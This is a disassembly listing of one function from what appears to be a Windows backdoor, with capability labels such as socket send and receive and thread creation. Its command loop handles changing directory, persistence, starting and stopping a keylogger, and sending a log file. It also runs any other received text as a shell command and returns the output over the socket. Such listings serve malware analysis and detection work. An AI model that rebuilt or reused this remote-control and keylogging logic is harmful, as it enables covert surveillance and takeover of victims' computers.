Function at 0x1400020e8
Capabilities:
Create thread
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
push rbp
mov eax, 0x50b0
call fcn.140003ec0
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x4c20]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x4820]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x50]
mov r8d, 0x47d0
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp + 0x4c20]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
movzx edx, byte [0x140006096]
movzx eax, byte [rbp + 0x4c20]
movzx edx, dl
movzx eax, al
sub edx, eax
test edx, edx
jne 0x1400021b1
mov eax, dword [0x14000a0a0]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0
call sym.exit
lea rax, [rbp + 0x4c20]
mov r8d, 3
mov rdx, rax
lea rax, [0x140006098]
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x1400021fb
lea rax, [rbp + 0x4c20]
mov r8d, 0x64
mov edx, 3
mov rcx, rax
call dbg.str_cut
mov rcx, rax
call sym.chdir
jmp 0x1400020fe
lea rax, [rbp + 0x4c20]
mov r8d, 7
mov rdx, rax
lea rax, str.persist
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x140002228
call dbg.bootRun
jmp 0x1400020fe
lea rax, [rbp + 0x4c20]
lea rdx, str.keylogger
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400023a6
mov eax, dword [0x14000a0a4]
test eax, eax
jne 0x140002345
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.logg]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [0x14000a0a8], rax
mov rax, qword [0x14000a0a8]
test rax, rax
jne 0x1400022f9
movabs rax, 0x742064656c696146
movabs rdx, 0x207472617473206f
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x6c79656b20747261
movabs rdx, 0xa2e726567676f
mov qword [rbp + 0x3c], rax
mov qword [rbp + 0x44], rdx
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp + 0x30]
mov r9d, 0
mov r8d, 0x1c
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400020fe
movabs rax, 0x6567676f6c79654b
movabs rdx, 0x6574726174732072
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], 0xa2e64
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp + 0x10]
mov r9d, 0
mov r8d, 0x14
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400020fe
movabs rax, 0x6567676f6c79654b
movabs rdx, 0x726c612073692072
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x7572207964616572
movabs rdx, 0xa2e676e696e6e
mov qword [rbp - 1], rax
mov qword [rbp + 7], rdx
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp - 0x10]
mov r9d, 0
mov r8d, 0x1f
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400020fe
lea rax, [rbp + 0x4c20]
lea rdx, str.stop_keylogger
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400024b4
mov eax, dword [0x14000a0a4]
test eax, eax
je 0x140002453
mov dword [0x14000a0a4], 0
mov rax, qword [0x14000a0a8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [0x14000a0a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
movabs rax, 0x6567676f6c79654b
movabs rdx, 0x6570706f74732072
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x20], 0xa2e64
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp - 0x30]
mov r9d, 0
mov r8d, 0x14
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400020fe
movabs rax, 0x6567676f6c79654b
movabs rdx, 0x746f6e2073692072
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x757220746f6e2073
movabs rdx, 0xa2e676e696e6e
mov qword [rbp - 0x45], rax
mov qword [rbp - 0x3d], rdx
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp - 0x50]
mov r9d, 0
mov r8d, 0x1b
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400020fe
lea rax, [rbp + 0x4c20]
mov r8d, 4
mov rdx, rax
lea rax, str.send
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x1400024e1
call dbg.send_log_file
jmp 0x1400020fe
lea rax, [rbp + 0x4c20]
lea rdx, [0x1400060c2]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
call rax
mov qword [rbp + 0x5028], rax
jmp 0x140002517
lea rdx, [rbp + 0x4820]
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x5028]
lea rax, [rbp + 0x4820]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x140002504
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp + 0x50]
mov r9d, 0
mov r8d, 0x47d0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x5028]
mov rcx, rax
call sym.fclose
jmp 0x1400020fe